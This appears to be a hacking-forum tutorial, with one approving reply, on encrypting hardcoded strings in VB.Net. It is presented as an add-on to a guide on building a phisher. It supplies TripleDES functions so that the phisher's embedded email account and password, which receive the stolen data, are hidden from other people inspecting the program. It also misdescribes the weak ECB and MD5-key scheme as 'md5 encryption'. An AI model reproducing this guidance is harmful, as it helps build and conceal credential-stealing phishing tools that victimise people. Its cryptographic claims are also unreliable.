[TUT] String Encryption [Vb.Net]

Reputation
0
This is an extra for my guide: How To Make A Phisher In Vb.Net
If you haven't seen that guide, be sure to check it out !


Why do you want to encrypt?
Else people can whale(steal your info) from your program, your email&password. You want to prevent this by encrypting your info.

Adding the functions.
First Open your project file. (Ofcourse lol)

At the top paste these imports:
Code:
Imports System.IO
Imports System.Text
Imports System.Security.Cryptography

Under public class add this:
Code:
    Private Shared DES As New TripleDESCryptoServiceProvider
    Private Shared MD5 As New MD5CryptoServiceProvider

Add these three functions somewhere in your code:
Code:
    Public Shared Function MD5Hash(ByVal value As String) As Byte()
        Return MD5.ComputeHash(ASCIIEncoding.ASCII.GetBytes(value))
    End Function

    Public Shared Function Encrypt(ByVal stringToEncrypt As String, ByVal key As String)

        DES.Key = Crypto.MD5Hash(key)
        DES.Mode = CipherMode.ECB
        Dim Buffer As Byte() = ASCIIEncoding.ASCII.GetBytes(stringToEncrypt)
        Return Convert.ToBase64String(DES.CreateEncryptor().TransformFinalBlock(Buffer, 0, Buffer.Length))
    End Function

    Public Shared Function Decrypt(ByVal encryptedString As String, ByVal key As String) As String
        Try
            DES.Key = Crypto.MD5Hash(key)
            DES.Mode = CipherMode.ECB
            Dim Buffer As Byte() = Convert.FromBase64String(encryptedString)
            Return ASCIIEncoding.ASCII.GetString(DES.CreateDecryptor().TransformFinalBlock(Buffer, 0, Buffer.Length))
        Catch ex As Exception
            Return ""
        End Try
    End Function

Encrypt your details.
First you want to know your encrypted email. You can do this by doubleclicking on your form in the disigner so you go to the form_load event. Add this code, but fill in your email, and chose anything as key.
Code:
Messagebox.Show(Encrypt("youremail@example.com", "Key"))
Now run your program and when it starts a messagebox will pop up with your encrypted email, write this down on a notepad or something cause you will need this.

Do this again for your password.

Using the encryption.

Now replace your mail and password in the button click event.
Replace
Code:
"youremail@example.com"
With
Code:
Decrypt("Encryptedmail", "Key")
But fill in your encrypted email you saved in notepad from the previous step.

Do this also for your password.

Done.
You do now use encryption in your phisher ! In runtime it will decrypt your email and password. The chance of getting whaled is lower now.

Also, this is just an example of md5 encryption, you can also use other encryptions.

If you have any question please post them.
 
Nice tutorial. It's adamant that people encrypt their strings in offline phishers to avoid getting whaled, so this is of help.
 
Cookies are required to use this site. You must accept them to continue using the site. Learn more…